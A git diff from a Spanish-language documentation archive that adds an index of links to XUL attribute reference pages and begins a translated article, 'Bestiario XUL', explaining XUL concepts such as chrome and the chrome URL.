+ <li><a href="/es/XUL/Attribute/buttonorient" title="es/XUL/Attribute/buttonorient">buttonorient</a></li>
+ <li><a href="/es/XUL/Attribute/buttonpack" title="es/XUL/Attribute/buttonpack">buttonpack</a></li>
+ <li><a href="/es/XUL/Attribute/buttons" title="es/XUL/Attribute/buttons">buttons</a></li>
+ <li><a href="/es/XUL/Attribute/checked" title="es/XUL/Attribute/checked">checked</a></li>
+ <li><a href="/es/XUL/Attribute/checkState" title="es/XUL/Attribute/checkState">checkState</a></li>
+ <li><a href="/es/XUL/Attribute/class" title="es/XUL/Attribute/class">class</a></li>
+ <li><a href="/es/XUL/Attribute/closebutton" title="es/XUL/Attribute/closebutton">closebutton</a></li>
+ <li><a href="/es/XUL/Attribute/coalesceduplicatearcs" title="es/XUL/Attribute/coalesceduplicatearcs">coalesceduplicatearcs</a></li>
+ <li><a href="/es/XUL/Attribute/collapse" title="es/XUL/Attribute/collapse">collapse</a></li>
+ <li><a href="/es/XUL/Attribute/collapsed" title="es/XUL/Attribute/collapsed">collapsed</a></li>
+ <li><a href="/es/XUL/Attribute/color" title="es/XUL/Attribute/color">color</a></li>
+ <li><a href="/es/XUL/Attribute/cols" title="es/XUL/Attribute/cols">cols</a></li>
+ <li><a href="/es/XUL/Attribute/command" title="es/XUL/Attribute/command">command</a></li>
+ <li><a href="/es/XUL/Attribute/commandupdater" title="es/XUL/Attribute/commandupdater">commandupdater</a></li>
+ <li><a href="/es/XUL/Attribute/completedefaultindex" title="es/XUL/Attribute/completedefaultindex">completedefaultindex</a></li>
+ <li><a href="/es/XUL/Attribute/container" title="es/XUL/Attribute/container">container</a></li>
+ <li><a href="/es/XUL/Attribute/containment" title="es/XUL/Attribute/containment">containment</a></li>
+ <li><a href="/es/XUL/Attribute/contentcontextmenu" title="es/XUL/Attribute/contentcontextmenu">contentcontextmenu</a></li>
+ <li><a href="/es/XUL/Attribute/contenttooltip" title="es/XUL/Attribute/contenttooltip">contenttooltip</a></li>
+ <li><a href="/es/XUL/Attribute/context" title="es/XUL/Attribute/context">context</a></li>
+ <li><a href="/es/XUL/Attribute/contextmenu" title="es/XUL/Attribute/contextmenu">contextmenu</a></li>
+ <li><a href="/es/XUL/Attribute/control" title="es/XUL/Attribute/control">control</a></li>
+ <li><a href="/es/XUL/Attribute/crop" title="es/XUL/Attribute/crop">crop</a></li>
+ <li><a href="/es/XUL/Attribute/curpos" title="es/XUL/Attribute/curpos">curpos</a></li>
+ <li><a href="/es/XUL/Attribute/current" title="es/XUL/Attribute/current">current</a></li>
+ <li><a href="/es/XUL/Attribute/currentset" title="es/XUL/Attribute/currentset">currentset</a></li>
+ <li><a href="/es/XUL/Attribute/customindex" title="es/XUL/Attribute/customindex">customindex</a></li>
+ <li><a href="/es/XUL/Attribute/customizable" title="es/XUL/Attribute/customizable">customizable</a></li>
+ <li><a href="/es/XUL/Attribute/cycler" title="es/XUL/Attribute/cycler">cycler</a></li>
+ <li><a href="/es/XUL/Attribute/datasources" title="es/XUL/Attribute/datasources">datasources</a></li>
+ <li><a href="/es/XUL/Attribute/decimalplaces" title="es/XUL/Attribute/decimalplaces">decimalplaces</a></li>
+ <li><a href="/es/XUL/Attribute/default" title="es/XUL/Attribute/default">default</a></li>
+ <li><a href="/es/XUL/Attribute/defaultButton" title="es/XUL/Attribute/defaultButton">defaultButton</a></li>
+ <li><a href="/es/XUL/Attribute/defaultset" title="es/XUL/Attribute/defaultset">defaultset</a></li>
+ <li><a href="/es/XUL/Attribute/description" title="es/XUL/Attribute/description">description</a></li>
+ <li><a href="/es/XUL/Attribute/dir" title="es/XUL/Attribute/dir">dir</a></li>
+ <li><a href="/es/XUL/Attribute/disableAutocomplete" title="es/XUL/Attribute/disableAutocomplete">disableAutocomplete</a></li>
+ <li><a href="/es/XUL/Attribute/disableAutocomplete" title="es/XUL/Attribute/disableAutocomplete">disableautocomplete</a></li>
+ <li><a href="/es/XUL/Attribute/disableautoselect" title="es/XUL/Attribute/disableautoselect">disableautoselect</a></li>
+ <li><a href="/es/XUL/Attribute/disableclose" title="es/XUL/Attribute/disableclose">disableclose</a></li>
+ <li><a href="/es/XUL/Attribute/disabled" title="es/XUL/Attribute/disabled">disabled</a></li>
+ <li><a href="/es/XUL/Attribute/disablehistory" title="es/XUL/Attribute/disablehistory">disablehistory</a></li>
+ <li><a href="/es/XUL/Attribute/disableKeyNavigation" title="es/XUL/Attribute/disableKeyNavigation">disableKeyNavigation</a></li>
+ <li><a href="/es/XUL/Attribute/disableKeyNavigation" title="es/XUL/Attribute/disableKeyNavigation">disablekeynavigation</a></li>
+ <li><a href="/es/XUL/Attribute/disablesecurity" title="es/XUL/Attribute/disablesecurity">disablesecurity</a></li>
+ <li><a href="/es/XUL/Attribute/dlgtype" title="es/XUL/Attribute/dlgtype">dlgtype</a></li>
+ <li><a href="/es/XUL/Attribute/dragging" title="es/XUL/Attribute/dragging">dragging</a></li>
+ <li><a href="/es/XUL/Attribute/editable" title="es/XUL/Attribute/editable">editable</a></li>
+ <li><a href="/es/XUL/Attribute/editortype" title="es/XUL/Attribute/editortype">editortype</a></li>
+ <li><a href="/es/XUL/Attribute/element" title="es/XUL/Attribute/element">element</a></li>
+ <li><a href="/es/XUL/Attribute/empty" title="es/XUL/Attribute/empty">empty</a></li>
+ <li><a href="/es/XUL/Attribute/emptytext" title="es/XUL/Attribute/emptytext">emptytext</a></li>
+ <li><a href="/es/XUL/Attribute/enableColumnDrag" title="es/XUL/Attribute/enableColumnDrag">enableColumnDrag</a></li>
+ <li><a href="/es/XUL/Attribute/enablehistory" title="es/XUL/Attribute/enablehistory">enablehistory</a></li>
+ <li><a href="/es/XUL/Attribute/equalsize" title="es/XUL/Attribute/equalsize">equalsize</a></li>
+ <li><a href="/es/XUL/Attribute/eventnode" title="es/XUL/Attribute/eventnode">eventnode</a></li>
+ <li><a href="/es/XUL/Attribute/events" title="es/XUL/Attribute/events">events</a></li>
+ <li><a href="/es/XUL/Attribute/expr" title="es/XUL/Attribute/expr">expr</a></li>
+ <li><a href="/es/XUL/Attribute/firstdayofweek" title="es/XUL/Attribute/firstdayofweek">firstdayofweek</a></li>
+ <li><a href="/es/XUL/Attribute/firstpage" title="es/XUL/Attribute/firstpage">firstpage</a></li>
+ <li><a href="/es/XUL/Attribute/first-tab" title="es/XUL/Attribute/first-tab">first-tab</a></li>
+ <li><a href="/es/XUL/Attribute/fixed" title="es/XUL/Attribute/fixed">fixed</a></li>
+ <li><a href="/es/XUL/Attribute/flags" title="es/XUL/Attribute/flags">flags</a></li>
+ <li><a href="/es/XUL/Attribute/flex" title="es/XUL/Attribute/flex">flex</a></li>
+ <li><a href="/es/XUL/Attribute/focused" title="es/XUL/Attribute/focused">focused</a></li>
+ <li><a href="/es/XUL/Attribute/forceComplete" title="es/XUL/Attribute/forceComplete">forceComplete</a></li>
+ <li><a href="/es/XUL/Attribute/forceComplete" title="es/XUL/Attribute/forceComplete">forcecomplete</a></li>
+ <li><a href="/es/XUL/Attribute/grippyhidden" title="es/XUL/Attribute/grippyhidden">grippyhidden</a></li>
+ <li><a href="/es/XUL/Attribute/grippytooltiptext" title="es/XUL/Attribute/grippytooltiptext">grippytooltiptext</a></li>
+ <li><a href="/es/XUL/Attribute/group" title="es/XUL/Attribute/group">group</a></li>
+ <li><a href="/es/XUL/Attribute/handleCtrlPageUpDown" title="es/XUL/Attribute/handleCtrlPageUpDown">handleCtrlPageUpDown</a></li>
+ <li><a href="/es/XUL/Attribute/handleCtrlTab" title="es/XUL/Attribute/handleCtrlTab">handleCtrlTab</a></li>
+ <li><a href="/es/XUL/Attribute/height" title="es/XUL/Attribute/height">height</a></li>
+ <li><a href="/es/XUL/Attribute/helpURI" title="es/XUL/Attribute/helpURI">helpURI</a></li>
+ <li><a href="/es/XUL/Attribute/hidden" title="es/XUL/Attribute/hidden">hidden</a></li>
+ <li><a href="/es/XUL/Attribute/hidechrome" title="es/XUL/Attribute/hidechrome">hidechrome</a></li>
+ <li><a href="/es/XUL/Attribute/hidecolumnpicker" title="es/XUL/Attribute/hidecolumnpicker">hidecolumnpicker</a></li>
+ <li><a href="/es/XUL/Attribute/hideheader" title="es/XUL/Attribute/hideheader">hideheader</a></li>
+ <li><a href="/es/XUL/Attribute/hideseconds" title="es/XUL/Attribute/hideseconds">hideseconds</a></li>
+ <li><a href="/es/XUL/Attribute/hidespinbuttons" title="es/XUL/Attribute/hidespinbuttons">hidespinbuttons</a></li>
+ <li><a href="/es/XUL/Attribute/homepage" title="es/XUL/Attribute/homepage">homepage</a></li>
+ <li><a href="/es/XUL/Attribute/href" title="es/XUL/Attribute/href">href</a></li>
+ <li><a href="/es/XUL/Attribute/icon" title="es/XUL/Attribute/icon">icon</a></li>
+ <li><a href="/es/XUL/Attribute/id" title="es/XUL/Attribute/id">id</a></li>
+ <li><a href="/es/XUL/Attribute/ignoreBlurWhileSearching" title="es/XUL/Attribute/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></li>
+ <li><a href="/es/XUL/Attribute/ignoreBlurWhileSearching" title="es/XUL/Attribute/ignoreBlurWhileSearching">ignorebluewhilesearching</a></li>
+ <li><a href="/es/XUL/Attribute/ignorecase" title="es/XUL/Attribute/ignorecase">ignorecase</a></li>
+ <li><a href="/es/XUL/Attribute/ignoreincolumnpicker" title="es/XUL/Attribute/ignoreincolumnpicker">ignoreincolumnpicker</a></li>
+ <li><a href="/es/XUL/Attribute/ignorekeys" title="es/XUL/Attribute/ignorekeys">ignorekeys</a></li>
+ <li><a href="/es/XUL/Attribute/image" title="es/XUL/Attribute/image">image</a></li>
+ <li><a href="/es/XUL/Attribute/inactivetitlebarcolor" title="es/XUL/Attribute/inactivetitlebarcolor">inactivetitlebarcolor</a> </li>
+ <li><a href="/es/XUL/Attribute/increment" title="es/XUL/Attribute/increment">increment</a></li>
+ <li><a href="/es/XUL/Attribute/index" title="es/XUL/Attribute/index">index</a></li>
+ <li><a href="/es/XUL/Attribute/inputtooltiptext" title="es/XUL/Attribute/inputtooltiptext">inputtooltiptext</a></li>
+ <li><a href="/es/XUL/Attribute/insertafter" title="es/XUL/Attribute/insertafter">insertafter</a></li>
+ <li><a href="/es/XUL/Attribute/insertbefore" title="es/XUL/Attribute/insertbefore">insertbefore</a></li>
+ <li><a href="/es/XUL/Attribute/instantApply" title="es/XUL/Attribute/instantApply">instantApply</a></li>
+ <li><a href="/es/XUL/Attribute/inverted" title="es/XUL/Attribute/inverted">inverted</a></li>
+ <li><a href="/es/XUL/Attribute/iscontainer" title="es/XUL/Attribute/iscontainer">iscontainer</a></li>
+ <li><a href="/es/XUL/Attribute/isempty" title="es/XUL/Attribute/isempty">isempty</a></li>
+ <li><a href="/es/XUL/Attribute/key" title="es/XUL/Attribute/key">key</a></li>
+ <li><a href="/es/XUL/Attribute/keycode" title="es/XUL/Attribute/keycode">keycode</a></li>
+ <li><a href="/es/XUL/Attribute/keytext" title="es/XUL/Attribute/keytext">keytext</a></li>
+ <li><a href="/es/XUL/Attribute/label" title="es/XUL/Attribute/label">label</a></li>
+ <li><a href="/es/XUL/Attribute/lastpage" title="es/XUL/Attribute/lastpage">lastpage</a></li>
+ <li><a href="/es/XUL/Attribute/lastSelected" title="es/XUL/Attribute/lastSelected">lastSelected</a></li>
+ <li><a href="/es/XUL/Attribute/last-tab" title="es/XUL/Attribute/last-tab">last-tab</a></li>
+ <li><a href="/es/XUL/Attribute/left" title="es/XUL/Attribute/left">left</a></li>
+ <li><a href="/es/XUL/Attribute/linkedpanel" title="es/XUL/Attribute/linkedpanel">linkedpanel</a></li>
+ <li><a href="/es/XUL/Attribute/max" title="es/XUL/Attribute/max">max</a></li>
+ <li><a href="/es/XUL/Attribute/maxheight" title="es/XUL/Attribute/maxheight">maxheight</a></li>
+ <li><a href="/es/XUL/Attribute/maxlength" title="es/XUL/Attribute/maxlength">maxlength</a></li>
+ <li><a href="/es/XUL/Attribute/maxpos" title="es/XUL/Attribute/maxpos">maxpos</a></li>
+ <li><a href="/es/XUL/Attribute/maxrows" title="es/XUL/Attribute/maxrows">maxrows</a></li>
+ <li><a href="/es/XUL/Attribute/maxwidth" title="es/XUL/Attribute/maxwidth">maxwidth</a></li>
+ <li><a href="/es/XUL/Attribute/member" title="es/XUL/Attribute/member">member</a></li>
+ <li><a href="/es/XUL/Attribute/menu" title="es/XUL/Attribute/menu">menu</a></li>
+ <li><a href="/es/XUL/Attribute/menuactive" title="es/XUL/Attribute/menuactive">menuactive</a></li>
+ <li><a href="/es/XUL/Attribute/min" title="es/XUL/Attribute/min">min</a></li>
+ <li><a href="/es/XUL/Attribute/minheight" title="es/XUL/Attribute/minheight">minheight</a></li>
+ <li><a href="/es/XUL/Attribute/minResultsForPopup" title="es/XUL/Attribute/minResultsForPopup">minResultsForPopup</a></li>
+ <li><a href="/es/XUL/Attribute/minResultsForPopup" title="es/XUL/Attribute/minResultsForPopup">minresultsforpopup</a></li>
+ <li><a href="/es/XUL/Attribute/minwidth" title="es/XUL/Attribute/minwidth">minwidth</a></li>
+ <li><a href="/es/XUL/Attribute/mode" title="es/XUL/Attribute/mode">mode</a></li>
+ <li><a href="/es/XUL/Attribute/modifiers" title="es/XUL/Attribute/modifiers">modifiers</a></li>
+ <li><a href="/es/XUL/Attribute/mousethrough" title="es/XUL/Attribute/mousethrough">mousethrough</a></li>
+ <li><a href="/es/XUL/Attribute/multiline" title="es/XUL/Attribute/multiline">multiline</a></li>
+ <li><a href="/es/XUL/Attribute/multiple" title="es/XUL/Attribute/multiple">multiple</a></li>
+ <li><a href="/es/XUL/Attribute/name" title="es/XUL/Attribute/name">name</a></li>
+ <li><a href="/es/XUL/Attribute/negate" title="es/XUL/Attribute/negate">negate</a></li>
+ <li><a href="/es/XUL/Attribute/newlines" title="es/XUL/Attribute/newlines">newlines</a></li>
+ <li><a href="/es/XUL/Attribute/next" title="es/XUL/Attribute/next">next</a></li>
+ <li><a href="/es/XUL/Attribute/noautofocus" title="es/XUL/Attribute/noautofocus">noautofocus</a></li>
+ <li><a href="/es/XUL/Attribute/noautohide" title="es/XUL/Attribute/noautohide">noautohide</a></li>
+ <li><a href="/es/XUL/Attribute/nomatch" title="es/XUL/Attribute/nomatch">nomatch</a></li>
+ <li><a href="/es/XUL/Attribute/object" title="es/XUL/Attribute/object">object</a></li>
+ <li><a href="/es/XUL/Attribute/observes" title="es/XUL/Attribute/observes">observes</a></li>
+ <li><a href="/es/XUL/Attribute/onbeforeaccept" title="es/XUL/Attribute/onbeforeaccept">onbeforeaccept</a></li>
+ <li><a href="/es/XUL/Attribute/onbookmarkgroup" title="es/XUL/Attribute/onbookmarkgroup">onbookmarkgroup</a></li>
+ <li><a href="/es/XUL/Attribute/onchange" title="es/XUL/Attribute/onchange">onchange</a></li>
+ <li><a class="internal" href="/es/XUL/Attribute/onclick" title="En/XUL/Attribute/Onclick">onclick</a></li>
+ <li><a href="/es/XUL/Attribute/onclosetab" title="es/XUL/Attribute/onclosetab">onclosetab</a></li>
+ <li><a href="/es/XUL/Attribute/oncommand" title="es/XUL/Attribute/oncommand">oncommand</a></li>
+ <li><a href="/es/XUL/Attribute/oncommandupdate" title="es/XUL/Attribute/oncommandupdate">oncommandupdate</a></li>
+ <li><a href="/es/XUL/Attribute/ondialogaccept" title="es/XUL/Attribute/ondialogaccept">ondialogaccept</a></li>
+ <li><a href="/es/XUL/Attribute/ondialogcancel" title="es/XUL/Attribute/ondialogcancel">ondialogcancel</a></li>
+ <li><a href="/es/XUL/Attribute/ondialogdisclosure" title="es/XUL/Attribute/ondialogdisclosure">ondialogclosure</a></li>
+ <li><a href="/es/XUL/Attribute/ondialogextra1" title="es/XUL/Attribute/ondialogextra1">ondialogextra1</a></li>
+ <li><a href="/es/XUL/Attribute/ondialogextra2" title="es/XUL/Attribute/ondialogextra2">ondialogextra2</a></li>
+ <li><a href="/es/XUL/Attribute/ondialoghelp" title="es/XUL/Attribute/ondialoghelp">ondialoghelp</a></li>
+ <li><a href="/es/XUL/Attribute/onerror" title="es/XUL/Attribute/onerror">onerror</a></li>
+ <li><a href="/es/XUL/Attribute/onerrorcommand" title="es/XUL/Attribute/onerrorcommand">onerrorcommand</a></li>
+ <li><a href="/es/XUL/Attribute/onextra1" title="es/XUL/Attribute/onextra1">onextra1</a></li>
+ <li><a href="/es/XUL/Attribute/onextra2" title="es/XUL/Attribute/onextra2">onextra2</a></li>
+ <li><a href="/es/XUL/Attribute/oninput" title="es/XUL/Attribute/oninput">oninput</a></li>
+ <li><a href="/es/XUL/Attribute/onload" title="es/XUL/Attribute/onload">onload</a></li>
+ <li><a href="/es/XUL/Attribute/onnewtab" title="es/XUL/Attribute/onnewtab">onnewtab</a></li>
+ <li><a href="/es/XUL/Attribute/onpageadvanced" title="es/XUL/Attribute/onpageadvanced">onpageadvanced</a></li>
+ <li><a href="/es/XUL/Attribute/onpagehide" title="es/XUL/Attribute/onpagehide">onpagehide</a></li>
+ <li><a href="/es/XUL/Attribute/onpagerewound" title="es/XUL/Attribute/onpagerewound">onpagerewound</a></li>
+ <li><a href="/es/XUL/Attribute/onpageshow" title="es/XUL/Attribute/onpageshow">onpageshow</a></li>
+ <li><a href="/es/XUL/Attribute/onpaneload" title="es/XUL/Attribute/onpaneload">onpaneload</a></li>
+ <li><a href="/es/XUL/Attribute/onpopuphidden" title="es/XUL/Attribute/onpopuphidden">onpopuphidden</a></li>
+ <li><a href="/es/XUL/Attribute/onpopuphiding" title="es/XUL/Attribute/onpopuphiding">onpopuphiding</a></li>
+ <li><a href="/es/XUL/Attribute/onpopupshowing" title="es/XUL/Attribute/onpopupshowing">onpopupshowing</a></li>
+ <li><a href="/es/XUL/Attribute/onpopupshown" title="es/XUL/Attribute/onpopupshown">onpopupshown</a></li>
+ <li><a href="/es/XUL/Attribute/onsearchcomplete" title="es/XUL/Attribute/onsearchcomplete">onsearchcomplete</a></li>
+ <li><a href="/es/XUL/Attribute/onselect" title="es/XUL/Attribute/onselect">onselect</a></li>
+ <li><a href="/es/XUL/Attribute/ontextcommand" title="es/XUL/Attribute/ontextcommand">ontextcommand</a></li>
+ <li><a href="/es/XUL/Attribute/ontextentered" title="es/XUL/Attribute/ontextentered">ontextentered</a></li>
+ <li><a href="/es/XUL/Attribute/ontextrevert" title="es/XUL/Attribute/ontextrevert">ontextrevert</a></li>
+ <li><a href="/es/XUL/Attribute/ontextreverted" title="es/XUL/Attribute/ontextreverted">ontextreverted</a></li>
+ <li><a href="/es/XUL/Attribute/onwizardback" title="es/XUL/Attribute/onwizardback">onwizardback</a></li>
+ <li><a href="/es/XUL/Attribute/onwizardcancel" title="es/XUL/Attribute/onwizardcancel">onwizardcancel</a></li>
+ <li><a href="/es/XUL/Attribute/onwizardfinish" title="es/XUL/Attribute/onwizardfinish">onwizardfinish</a></li>
+ <li><a href="/es/XUL/Attribute/onwizardnext" title="es/XUL/Attribute/onwizardnext">onwizardnext</a></li>
+ <li><a href="/es/XUL/Attribute/open" title="es/XUL/Attribute/open">open</a></li>
+ <li><a href="/es/XUL/Attribute/ordinal" title="es/XUL/Attribute/ordinal">ordinal</a></li>
+ <li><a href="/es/XUL/Attribute/orient" title="es/XUL/Attribute/orient">orient</a></li>
+ <li><a href="/es/XUL/Attribute/pack" title="es/XUL/Attribute/pack">pack</a></li>
+ <li><a href="/es/XUL/Attribute/pageid" title="es/XUL/Attribute/pageid">pageid</a></li>
+ <li><a href="/es/XUL/Attribute/pageincrement" title="es/XUL/Attribute/pageincrement">pageincrement</a></li>
+ <li><a href="/es/XUL/Attribute/pagestep" title="es/XUL/Attribute/pagestep">pagestep</a></li>
+ <li><a href="/es/XUL/Attribute/parent" title="es/XUL/Attribute/parent">parent</a></li>
+ <li><a href="/es/XUL/Attribute/parsetype" title="es/XUL/Attribute/parsetype">parsetype</a></li>
+ <li><a href="/es/XUL/Attribute/persist" title="es/XUL/Attribute/persist">persist</a></li>
+ <li><a href="/es/XUL/Attribute/persistence" title="es/XUL/Attribute/persistence">persistence</a></li>
+ <li><a href="/es/XUL/Attribute/phase" title="es/XUL/Attribute/phase">phase</a></li>
+ <li><a href="/es/XUL/Attribute/pickertooltiptext" title="es/XUL/Attribute/pickertooltiptext">pickertooltiptext</a></li>
+ <li><a href="/es/XUL/Attribute/popup" title="es/XUL/Attribute/popup">popup</a></li>
+ <li><a href="/es/XUL/Attribute/position" title="es/XUL/Attribute/position">position</a></li>
+ <li><a href="/es/XUL/Attribute/predicate" title="es/XUL/Attribute/predicate">predicate</a></li>
+ <li><a href="/es/XUL/Attribute/preference" title="es/XUL/Attribute/preference">preference</a></li>
+ <li><a href="/es/XUL/Attribute/preference-editable" title="es/XUL/Attribute/preference-editable">preference-editable</a></li>
+ <li><a href="/es/XUL/Attribute/primary" title="es/XUL/Attribute/primary">primary</a></li>
+ <li><a href="/es/XUL/Attribute/priority" title="es/XUL/Attribute/priority">priority</a></li>
+ <li><a href="/es/XUL/Attribute/properties" title="es/XUL/Attribute/properties">properties</a></li>
+ <li><a href="/es/XUL/Attribute/querytype" title="es/XUL/Attribute/querytype">querytype</a></li>
+ <li><a href="/es/XUL/Attribute/readonly" title="es/XUL/Attribute/readonly">readonly</a></li>
+ <li><a href="/es/XUL/Attribute/ref" title="es/XUL/Attribute/ref">ref</a></li>
+ <li><a href="/es/XUL/Attribute/rel" title="es/XUL/Attribute/rel">rel</a></li>
+ <li><a href="/es/XUL/Attribute/removeelement" title="es/XUL/Attribute/removeelement">removeelement</a></li>
+ <li><a href="/es/XUL/Attribute/resizeafter" title="es/XUL/Attribute/resizeafter">resizeafter</a></li>
+ <li><a href="/es/XUL/Attribute/resizebefore" title="es/XUL/Attribute/resizebefore">resizebefore</a></li>
+ <li><a href="/es/XUL/Attribute/rows" title="es/XUL/Attribute/rows">rows</a></li>
+ <li><a href="/es/XUL/Attribute/screenX" title="es/XUL/Attribute/screenX">screenX</a></li>
+ <li><a href="/es/XUL/Attribute/screenY" title="es/XUL/Attribute/screenY">screenY</a></li>
+ <li><a href="/es/XUL/Attribute/searchSessions" title="es/XUL/Attribute/searchSessions">searchSessions</a></li>
+ <li><a href="/es/XUL/Attribute/searchlabel" title="es/XUL/Attribute/searchlabel">searchlabel</a></li>
+ <li><a href="/es/XUL/Attribute/selected" title="es/XUL/Attribute/selected">selected</a></li>
+ <li><a href="/es/XUL/Attribute/selectedIndex" title="es/XUL/Attribute/selectedIndex">selectedIndex</a></li>
+ <li><a href="/es/XUL/Attribute/seltype" title="es/XUL/Attribute/seltype">seltype</a></li>
+ <li><a href="/es/XUL/Attribute/setfocus" title="es/XUL/Attribute/setfocus">setfocus</a></li>
+ <li><a href="/es/XUL/Attribute/showcaret" title="es/XUL/Attribute/showcaret">showcaret</a></li>
+ <li><a href="/es/XUL/Attribute/showCommentColumn" title="es/XUL/Attribute/showCommentColumn">showCommentColumn</a></li>
+ <li><a href="/es/XUL/Attribute/showCommentColumn" title="es/XUL/Attribute/showCommentColumn">showcommentcolumn</a></li>
+ <li><a href="/es/XUL/Attribute/showpopup" title="es/XUL/Attribute/showpopup">showpopup</a></li>
+ <li><a href="/es/XUL/Attribute/size" title="es/XUL/Attribute/size">size</a></li>
+ <li><a href="/es/XUL/Attribute/sizemode" title="es/XUL/Attribute/sizemode">sizemode</a></li>
+ <li><a href="/es/XUL/Attribute/sizetopopup" title="es/XUL/Attribute/sizetopopup">sizetopopup</a></li>
+ <li><a href="/es/XUL/Attribute/smoothscroll" title="es/XUL/Attribute/smoothscroll">smoothscroll</a></li>
+ <li><a href="/es/XUL/Attribute/sort" title="es/XUL/Attribute/sort">sort</a></li>
+ <li><a href="/es/XUL/Attribute/sortActive" title="es/XUL/Attribute/sortActive">sortActive</a></li>
+ <li><a href="/es/XUL/Attribute/sortDirection" title="es/XUL/Attribute/sortDirection">sortDirection</a></li>
+ <li><a href="/es/XUL/Attribute/sortResource" title="es/XUL/Attribute/sortResource">sortResource</a></li>
+ <li><a href="/es/XUL/Attribute/sortResource2" title="es/XUL/Attribute/sortResource2">sortResource2</a></li>
+ <li><a href="/es/XUL/Attribute/spellcheck" title="es/XUL/Attribute/spellcheck">spellcheck</a></li>
+ <li><a href="/es/XUL/Attribute/src" title="es/XUL/Attribute/src">src</a></li>
+ <li><a href="/es/XUL/Attribute/state" title="es/XUL/Attribute/state">state</a></li>
+ <li><a href="/es/XUL/Attribute/statedatasource" title="es/XUL/Attribute/statedatasource">statedatasource</a></li>
+ <li><a href="/es/XUL/Attribute/statusbar" title="es/XUL/Attribute/statusbar">statusbar</a></li>
+ <li><a href="/es/XUL/Attribute/statustext" title="es/XUL/Attribute/statustext">statustext</a></li>
+ <li><a href="/es/XUL/Attribute/style" title="es/XUL/Attribute/style">style</a></li>
+ <li><a href="/es/XUL/Attribute/subject" title="es/XUL/Attribute/subject">subject</a></li>
+ <li><a href="/es/XUL/Attribute/substate" title="es/XUL/Attribute/substate">substate</a></li>
+ <li><a href="/es/XUL/Attribute/suppressonselect" title="es/XUL/Attribute/suppressonselect">suppressonselect</a></li>
+ <li><a href="/es/XUL/Attribute/tabindex" title="es/XUL/Attribute/tabindex">tabindex</a></li>
+ <li><a href="/es/XUL/Attribute/tabScrolling" title="es/XUL/Attribute/tabScrolling">tabScrolling</a></li>
+ <li><a href="/es/XUL/Attribute/tabScrolling" title="es/XUL/Attribute/tabScrolling">tabscrolling</a></li>
+ <li><a href="/es/XUL/Attribute/targets" title="es/XUL/Attribute/targets">targets</a></li>
+ <li><a href="/es/XUL/Attribute/template" title="es/XUL/Attribute/template">template</a></li>
+ <li><a href="/es/XUL/Attribute/timeout" title="es/XUL/Attribute/timeout">timeout</a></li>
+ <li><a href="/es/XUL/Attribute/title" title="es/XUL/Attribute/title">title</a></li>
+ <li><a href="/es/XUL/Attribute/toolbarname" title="es/XUL/Attribute/toolbarname">toolbarname</a></li>
+ <li><a href="/es/XUL/Attribute/tooltip" title="es/XUL/Attribute/tooltip">tooltip</a></li>
+ <li><a href="/es/XUL/Attribute/tooltiptext" title="es/XUL/Attribute/tooltiptext">tooltiptext</a></li>
+ <li><a href="/es/XUL/Attribute/tooltiptextnew" title="es/XUL/Attribute/tooltiptextnew">tooltiptextnew</a></li>
+ <li><a href="/es/XUL/Attribute/top" title="es/XUL/Attribute/top">top</a></li>
+ <li><a href="/es/XUL/Attribute/type" title="es/XUL/Attribute/type">type</a></li>
+ <li><a href="/es/XUL/Attribute/uri" title="es/XUL/Attribute/uri">uri</a></li>
+ <li><a href="/es/XUL/Attribute/userAction" title="es/XUL/Attribute/userAction">userAction</a></li>
+ <li><a href="/es/XUL/Attribute/validate" title="es/XUL/Attribute/validate">validate</a></li>
+ <li><a href="/es/XUL/Attribute/value" title="es/XUL/Attribute/value">value</a></li>
+ <li><a href="/es/XUL/Attribute/var" title="es/XUL/Attribute/var">var</a></li>
+ <li><a href="/es/XUL/Attribute/wait-cursor" title="es/XUL/Attribute/wait-cursor">wait-cursor</a></li>
+ <li><a href="/es/XUL/Attribute/width" title="es/XUL/Attribute/width">width</a></li>
+ <li><a href="/es/XUL/Attribute/windowtype" title="es/XUL/Attribute/windowtype">windowtype</a></li>
+ <li><a href="/es/XUL/Attribute/wrap" title="es/XUL/Attribute/wrap">wrap</a></li>
+ <li><a href="/es/XUL/Attribute/wraparound" title="es/XUL/Attribute/wraparound">wraparound</a></li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/bestiario_xul/index.html b/files/es/archive/mozilla/xul/bestiario_xul/index.html
new file mode 100644
index 0000000000..7d2f8b3a9d
--- /dev/null
+++ b/files/es/archive/mozilla/xul/bestiario_xul/index.html
@@ -0,0 +1,186 @@
+---
+title: Bestiario XUL
+slug: Archive/Mozilla/XUL/Bestiario_XUL
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - XUL
+  - extensiones
+translation_of: Archive/Mozilla/XUL/A_XUL_Bestiary
+---
+<p> </p>
+<p>Este documento sobre XUL presenta algunos de los conceptos clave y términos del entorno de desarollo XUL. El propósito de este artículo no es explicar estos elementos en profundidad sino decir lo que son en términos sencillos. Se han seleccionado los elementos para este grupo porque parecen que están inmersos en el misterio, que son poco usados como conceptos o términos, o que son infravalorados de acuerdo a su papel en XUL y al desarrollo multiplataforma. En contraposición al <a class="external" href="http://www.mozilla.org/docs/jargon.html">
+ <i>
+  Mozilla Jargon File</i>
+ </a>, este artículo explica los elementos de especial interés para el desarrollo web o de contenidos y pretende establecer un contexto para comprender las nuevas tecnologías de Mozilla y en particular el lenguaje de interfaces de usuario basado en XML de Mozilla: XUL.</p>
+<h2 id="Chrome" name="Chrome">Chrome</h2>
+<p>Algunas de las más potentes y con frecuencia incomprendidas características de XUL y del navegador Mozilla tienen que ver con chrome. El término chrome es usado en diferentes contextos para referirse a cosas distintas. En general, chrome se refiere a una interfaz XUL y a todos sus ficheros de apoyo. chrome quiere decir que el contenido y estructura XUL + la apariencia que le da CSS + cualesquiera ficheros de configuración regional y específicos de la plataforma son parte de dicha interfaz XUL. En comparación, la apariencia es sólo el CSS y los gráficos referenciados para el fichero XUL, las cadenas de texto de la configuración regional están almacenadas en un DTD y el contenido es sólo el XUL.</p>
+<h3 id="La_URL_chrome" name="La_URL_chrome">La URL chrome</h3>
+<p>El concepto de chrome como algo integrado y dinámico separado de alguna forma del núcleo de la aplicación se realiza a través de la url chrome apuntando a partes de XUL a sus ficheros relacionados. La url chrome se parece a las direcciones http, como se muestra en la siguiente instrucción de proceso de apariencia global:</p>
+<pre class="eval">&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+</pre>
